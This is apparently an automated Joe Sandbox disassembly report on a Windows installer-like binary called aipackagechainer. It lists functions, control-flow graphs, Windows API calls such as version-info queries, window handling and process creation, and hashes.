                                                                                                                                                                                                                                                  control_flow_graph 1888 23cf80-23cfd0 call 215c10 1891 23cfd2-23cfdd call 214fe0 1888->1891 1892 23cfe0-23cff2 GetFileVersionInfoSizeW 1888->1892 1891->1892 1894 23d144 1892->1894 1895 23cff8-23d003 call 232540 1892->1895 1898 23d146-23d15b 1894->1898 1903 23d005-23d008 1895->1903 1904 23d00d-23d01a 1895->1904 1900 23d165-23d18f call 27c85e 1898->1900 1901 23d15d-23d160 1898->1901 1901->1900 1903->1894 1906 23d02a-23d03b GetFileVersionInfoW 1904->1906 1907 23d01c-23d027 call 214fe0 1904->1907 1906->1894 1909 23d041-23d04a call 213540 1906->1909 1907->1906 1913 23d190-23d19a call 213200 1909->1913 1914 23d050-23d075 VerQueryValueW 1909->1914 1918 23d077-23d07b 1914->1918 1919 23d089-23d08e 1914->1919 1918->1919 1920 23d07d-23d087 1918->1920 1921 23d093-23d0b2 call 228870 1919->1921 1920->1921 1924 23d0c2-23d0d4 VerQueryValueW 1921->1924 1925 23d0b4-23d0bf call 214fe0 1921->1925 1927 23d0d6-23d0da 1924->1927 1928 23d129-23d13a 1924->1928 1925->1924 1927->1928 1931 23d0dc-23d0e1 1927->1931 1928->1894 1929 23d13c-23d13f 1928->1929 1929->1894 1932 23d0e3-23d0e5 1931->1932 1933 23d0e7-23d0ef 1931->1933 1934 23d100-23d11b call 215150 1932->1934 1935 23d0f0-23d0f9 1933->1935 1939 23d125-23d127 1934->1939 1940 23d11d-23d120 1934->1940 1935->1935 1936 23d0fb-23d0fe 1935->1936 1936->1934 1939->1898 1940->1939
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetFileVersionInfoSizeW.KERNELBASE(?,?,4938EAB5,?,?,00000000,000000FF,?,002471E5), ref: 0023CFE5
                                                                                                                                                                                                                                                  • GetFileVersionInfoW.KERNELBASE(?,?,00000000,?,00000000,?,?,00000000,000000FF,?,002471E5), ref: 0023D033
                                                                                                                                                                                                                                                  • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,q$,?,?,00000000,000000FF,?,002471E5), ref: 0023D06D
                                                                                                                                                                                                                                                  • VerQueryValueW.VERSION(?,?,00000000,000000FF,?,?,?,?,00000000,000000FF,?,002471E5), ref: 0023D0CC
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: FileInfoQueryValueVersion$Size
                                                                                                                                                                                                                                                  • String ID: ProductName$\StringFileInfo\%04x%04x\%s$\VarFileInfo\Translation$q$
                                                                                                                                                                                                                                                  • API String ID: 2099394744-1441104830
                                                                                                                                                                                                                                                  • Opcode ID: 88554b74ee2e5cdff03f43735e4750650e5f7a71191a13834606dbeacf471212
                                                                                                                                                                                                                                                  • Instruction ID: e27fa7c281cb9de857b42dd4ef177577248ca200233d72817bd36f1f1a8deb1b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 88554b74ee2e5cdff03f43735e4750650e5f7a71191a13834606dbeacf471212
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8C61DCB1A1110ADFDB04DFA8DC48AEEB7F8FF05314F148169E815A7291EB309D14CBA0
                                                                                                                                                                                                                                                  Function 00279EEC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58libraryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1950 279eec-279ef7 1951 279f06-279f1d LoadLibraryExA 1950->1951 1952 279ef9-279f05 DecodePointer 1950->1952 1953 279f97 1951->1953 1954 279f1f-279f34 call 279f9c 1951->1954 1956 279f99-279f9b 1953->1956 1954->1953 1958 279f36-279f4b call 279f9c 1954->1958 1958->1953 1961 279f4d-279f62 call 279f9c 1958->1961 1961->1953 1964 279f64-279f79 call 279f9c 1961->1964 1964->1953 1967 279f7b-279f95 DecodePointer 1964->1967 1967->1956
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • DecodePointer.KERNEL32(?,?,?,0027A232,002D784C,?,?,?,0025850B,00000000,?,?,4938EAB5,?), ref: 00279EFE
                                                                                                                                                                                                                                                  • LoadLibraryExA.KERNELBASE(atlthunk.dll,00000000,00000800,?,?,?,0027A232,002D784C,?,?,?,0025850B,00000000,?,?,4938EAB5), ref: 00279F13
                                                                                                                                                                                                                                                  • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,4938EAB5,?), ref: 00279F8F
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: DecodePointer$LibraryLoad
                                                                                                                                                                                                                                                  • String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
                                                                                                                                                                                                                                                  • API String ID: 1423960858-1745123996
                                                                                                                                                                                                                                                  • Opcode ID: af6f24225b263687d837ee0587bf421f74afb4e241e78c9291155e41cc9afddc
                                                                                                                                                                                                                                                  • Instruction ID: 323e9bee1374c919ef516de18bf66895d54b0595230731fe8b3ea14565cfe7c9
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: af6f24225b263687d837ee0587bf421f74afb4e241e78c9291155e41cc9afddc
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EB01C4706743516FCE01AF20AC0AB993B495B13B18F054061F84DE6792FBB58DB9E986
                                                                                                                                                                                                                                                  Function 00248410 Relevance: 10.6, APIs: 7, Instructions: 73COMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,00000002), ref: 00248430
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 00248446
                                                                                                                                                                                                                                                  • ShowWindow.USER32(00000000,00000000,?,?,?,?,0024710A), ref: 0024845F
                                                                                                                                                                                                                                                  • InvalidateRect.USER32(00000000,00000000,00000001,?,?,?,?,0024710A), ref: 0024846A
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(00000000,000003E9), ref: 0024847C
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 00248492
                                                                                                                                                                                                                                                  • SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000206,?,?,?,?,0024710A), ref: 002484D5
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Rect$Item$InvalidateShow
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2147159307-0
                                                                                                                                                                                                                                                  • Opcode ID: 57947af0b54a331ce781ea20f47118cf3395193475d05627773ede4aee2b3759
                                                                                                                                                                                                                                                  • Instruction ID: c5d216dc37da3854654fce1656122bd73ff3e6fac003ea8723a5fa3e49003102
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 57947af0b54a331ce781ea20f47118cf3395193475d05627773ede4aee2b3759
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 58215A71614300AFD700DF34DC49A7A7BE9EF8D710F058A58F849D7291EB30E9418B52
                                                                                                                                                                                                                                                  Function 0022D600 Relevance: 9.1, APIs: 6, Instructions: 149COMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1973 22d600-22d6ae CoInitialize DefWindowProcW call 22d8b0 call 229a30 call 229e30 call 229cc0 EnterCriticalSection 1982 22d6b0-22d6b4 1973->1982 1983 22d6f8-22d719 LeaveCriticalSection 1973->1983 1986 22d6c6-22d6c8 1982->1986 1987 22d6b6-22d6c0 DestroyWindow 1982->1987 1984 22d71b-22d71f 1983->1984 1985 22d759-22d761 1983->1985 1990 22d730-22d735 1984->1990 1991 22d721-22d72a call 286e75 1984->1991 1988 22d763-22d766 1985->1988 1989 22d78b-22d799 1985->1989 1986->1983 1992 22d6ca-22d6ce 1986->1992 1987->1986 1988->1989 1993 22d768-22d76d 1988->1993 1995 22d7ba-22d7cf call 22da30 1989->1995 1996 22d79b 1989->1996 1997 22d747-22d756 call 27c19d 1990->1997 1998 22d737-22d740 call 286e75 1990->1998 1991->1990 1999 22d6d0-22d6d9 call 286e75 1992->1999 2000 22d6df-22d6f5 call 27c19d 1992->2000 2004 22d775-22d789 1993->2004 2005 22d76f-22d771 1993->2005 2017 22d7d1 CoUninitialize 1995->2017 2018 22d7d7-22d7fb call 27c18f 1995->2018 2007 22d7a0-22d7a4 1996->2007 1997->1985 1998->1997 1999->2000 2000->1983 2004->1989 2004->1993 2005->2004 2014 22d7b3-22d7b8 2007->2014 2015 22d7a6-22d7ad 2007->2015 2014->1995 2014->2007 2015->2014 2017->2018
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CoInitialize.OLE32(00000000), ref: 0022D63B
                                                                                                                                                                                                                                                  • DefWindowProcW.USER32(00000000,00000000,00000000,00000000,?,?,?,?,?,002A0E6D,000000FF), ref: 0022D656
                                                                                                                                                                                                                                                    • Part of subcall function 0022D8B0: GetCurrentThreadId.KERNEL32 ref: 0022D90D
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(002D8AA8,?,002A0E6D,000000FF), ref: 0022D69C
                                                                                                                                                                                                                                                  • DestroyWindow.USER32(00000000,?,002A0E6D,000000FF), ref: 0022D6BA
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(002D8AA8,?,002A0E6D,000000FF), ref: 0022D703
                                                                                                                                                                                                                                                  • CoUninitialize.COMBASE(?,002A0E6D,000000FF), ref: 0022D7D1
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSectionWindow$CurrentDestroyEnterInitializeLeaveProcThreadUninitialize
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2072714735-0
                                                                                                                                                                                                                                                  • Opcode ID: 1a20b10110244a1b5bd9233d6a36ef4762cfbd306f76a29773cc3f73e2cb6117
                                                                                                                                                                                                                                                  • Instruction ID: a27d30ab0d776b22d3c25863177f86f8a36a456191fdef2b5f85ef924426f2e6
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1a20b10110244a1b5bd9233d6a36ef4762cfbd306f76a29773cc3f73e2cb6117
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2351C571A11251AFEB20DFA8EC09B9AB7B4BF05700F14445DE849AB2D1DB74AD14CB91
                                                                                                                                                                                                                                                  Function 002356F0 Relevance: 9.1, APIs: 6, Instructions: 93processsynchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,002A210D,00000000,00000000,?), ref: 0023578B
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0023579C
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 002357B2
                                                                                                                                                                                                                                                  • GetExitCodeProcess.KERNELBASE(?,00000000), ref: 002357C3
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 002357CD
                                                                                                                                                                                                                                                  • Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 002357E8
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ProcessWow64$CloseCodeCreateErrorExitHandleLastObjectRedirectionRevertSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3742689608-0
                                                                                                                                                                                                                                                  • Opcode ID: d967d55077798aeba1dfe9fc85dc0c318245ea8cfff9aab72fe15d49b608590e
                                                                                                                                                                                                                                                  • Instruction ID: 9cae9757196338456d04f6c2cabee37b50027ea765300b8ee2a3ac9750690cf0
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d967d55077798aeba1dfe9fc85dc0c318245ea8cfff9aab72fe15d49b608590e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F5314D71E1075ADBDB10CFA4DD48BAEBBF8BF4A714F145219E814B7290DB709940CB60
                                                                                                                                                                                                                                                  Function 0024FAE0 Relevance: 7.7, APIs: 5, Instructions: 156threadCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • EndDialog.USER32 ref: 0024FC0D
                                                                                                                                                                                                                                                    • Part of subcall function 00257990: SendMessageW.USER32(?,00000080,00000001,00000000), ref: 002579D4
                                                                                                                                                                                                                                                    • Part of subcall function 00257990: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 002579DF
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetWindowLongW.USER32(?,000000F0), ref: 00248887
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetParent.USER32 ref: 0024889D
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetWindowRect.USER32(?,?), ref: 002488A8
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetParent.USER32(?), ref: 002488B0
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetClientRect.USER32(00000000,?), ref: 002488BF
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetClientRect.USER32(?,?), ref: 002488C8
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: MapWindowPoints.USER32(00000002,00000000,?,00000002), ref: 002488D4
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(?,?), ref: 0024FB3E
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                    • Part of subcall function 00214E80: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,?,00242BC5,-00000010,?,?,?,4938EAB5,?,00000000,?,00000000), ref: 00214EA3
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(00000001,0000040A), ref: 0024FB7A
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(00000000,00000000), ref: 0024FB85
                                                                                                                                                                                                                                                    • Part of subcall function 0025EA60: GetWindowLongW.USER32(?,000000F0), ref: 0025EA85
                                                                                                                                                                                                                                                    • Part of subcall function 0025EA60: GetParent.USER32(?), ref: 0025EA8F
                                                                                                                                                                                                                                                  • CreateThread.KERNELBASE(00000000,00000000,Function_0003FF50,?,00000000,?), ref: 0024FBA9
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$ParentRect$ClientLongMessageSendText$CreateDialogFindHeapItemPointsProcessResourceThread
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3383473789-0
                                                                                                                                                                                                                                                  • Opcode ID: 06a067f7e4dc4535fdb7a3a1b68b9b6af378f225d542644f3ce0b3842e1e7d0a
                                                                                                                                                                                                                                                  • Instruction ID: 1b76def6fd87b5329a99244c390397374c86724ccfbf1c6ce08512777075c103
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 06a067f7e4dc4535fdb7a3a1b68b9b6af378f225d542644f3ce0b3842e1e7d0a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DE510472A1460AAFE704DF18D945B99B7A4FB45320F00827AFD15C7790DB75A820CFA0
                                                                                                                                                                                                                                                  Function 00235640 Relevance: 7.6, APIs: 5, Instructions: 64windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • MsgWaitForMultipleObjectsEx.USER32(00000001,?,000000FF,000005FF,00000004), ref: 00235661
                                                                                                                                                                                                                                                  • PeekMessageW.USER32(?,00000000), ref: 002356A7
                                                                                                                                                                                                                                                  • TranslateMessage.USER32(?), ref: 002356B2
                                                                                                                                                                                                                                                  • DispatchMessageW.USER32(?), ref: 002356B9
                                                                                                                                                                                                                                                  • MsgWaitForMultipleObjectsEx.USER32(00000001,?,000000FF,000005FF,00000004), ref: 002356CB
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Message$MultipleObjectsWait$DispatchPeekTranslate
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 4084795276-0
                                                                                                                                                                                                                                                  • Opcode ID: 2d2a2106ac7f308f929e364ef245b3c83fc34a5237720e5b8b998bed40de33ff
                                                                                                                                                                                                                                                  • Instruction ID: 90e1980ce3277a5289cc480e0215b0a799bbfce750376a93614c952a6930a454
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2d2a2106ac7f308f929e364ef245b3c83fc34a5237720e5b8b998bed40de33ff
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C91106716443167BEA108B51AD81FA6B7DCDB89770F90062AFA14970C0EB70E9898B65
                                                                                                                                                                                                                                                  Function 002473A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,4938EAB5,00000000,002A5ACE,000000FF), ref: 002473F3
                                                                                                                                                                                                                                                  • PathAppendW.SHLWAPI(00000000,WindowsPowerShell\v1.0\powershell.exe), ref: 0024740A
                                                                                                                                                                                                                                                  • PathFileExistsW.KERNELBASE(00000000), ref: 00247418
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                    • Part of subcall function 00214E80: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,?,00242BC5,-00000010,?,?,?,4938EAB5,?,00000000,?,00000000), ref: 00214EA3
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  • WindowsPowerShell\v1.0\powershell.exe, xrefs: 00247401
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Path$AppendExistsFileFindFolderHeapProcessResource
                                                                                                                                                                                                                                                  • String ID: WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  • API String ID: 2424349261-2665178159
                                                                                                                                                                                                                                                  • Opcode ID: 94aae1e1179750dc89e3b70a6d6a87342816ee587a27c219631e093ec0f4db09
                                                                                                                                                                                                                                                  • Instruction ID: 8ce57911fc413a2d061c5eb2292d949a323a2fdeba5bd28e5283afafe4484790
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 94aae1e1179750dc89e3b70a6d6a87342816ee587a27c219631e093ec0f4db09
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B141B371614249AFDB24DF64DC49BEE7BB8FF04710F50852AE929DB281EB349A14CB50
                                                                                                                                                                                                                                                  Function 0024FEE0 Relevance: 6.0, APIs: 4, Instructions: 37windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,0000040A), ref: 0024FEF9
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(00000000,?), ref: 0024FF00
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(00000000,0000040B), ref: 0024FF11
                                                                                                                                                                                                                                                  • SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0024FF1E
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Item$MessageSendTextWindow
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2101643998-0
                                                                                                                                                                                                                                                  • Opcode ID: 5580ce6cd9a2e05f8f4d0b21a9e2af3755589f9e552909b2dca3739f6e267e17
                                                                                                                                                                                                                                                  • Instruction ID: 802339a8a23cf95e3462bce07e22f26c7a39f77aa4fc52b093183ccb7fb42a27
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5580ce6cd9a2e05f8f4d0b21a9e2af3755589f9e552909b2dca3739f6e267e17
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DBF04972500612BFDF124F50DC08E2AFB79FF99B11B058559F604639A0CB71A832CF90
                                                                                                                                                                                                                                                  Function 002483A0 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 002483A9
                                                                                                                                                                                                                                                  • DestroyWindow.USER32(00000005), ref: 002483B8
                                                                                                                                                                                                                                                  • PostMessageW.USER32(00000005,00000401,00000000,00000000), ref: 002483D6
                                                                                                                                                                                                                                                  • IsWindow.USER32(00000005), ref: 002483E5
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
